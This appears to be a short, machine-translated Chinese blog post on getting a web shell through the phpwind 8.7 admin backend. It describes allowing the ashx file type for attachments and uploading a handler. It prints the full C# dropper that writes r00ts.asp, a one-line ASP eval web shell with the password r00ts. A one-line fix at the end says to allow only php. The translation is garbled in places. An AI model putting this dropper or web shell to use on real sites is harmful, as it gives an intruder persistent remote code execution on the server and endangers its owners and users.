Use shell in the phpwind 8.7 background and fix it

First, open the background map and add an ashx Suffix of 2000 to the attachment settings.

In the group, I downloaded the previous ashx.txt and changed it to fuck. ashx.

There is an attachment on the other side of the article that uploads and throws ashx on the premise that it is iis Apache. I really don't know how it works.

Then, open the background map attachment and slide it down to see the newly uploaded ashx.

After opening the file, the r00ts. asp password r00ts will be generated under the directory.

The following code is used:

 

<% @ WebHandler Language = "C #" Class = "Handler" %> using System; using System. web; using System. IO; public class Handler: IHttpHandler {public void ProcessRequest (HttpContext context) {context. response. contentType = "text/plain"; StreamWriter file1 = File. createText (context. server. mapPath ("r00ts. asp "); file1.Write (" <% eval request (\ "r00ts \") %> "); file1.Flush (); file1.Close ();} public bool IsReusable {get {return false ;}}}

Www.2cto.com provides the repair solution:


Only the php suffix is retained and execution is complete.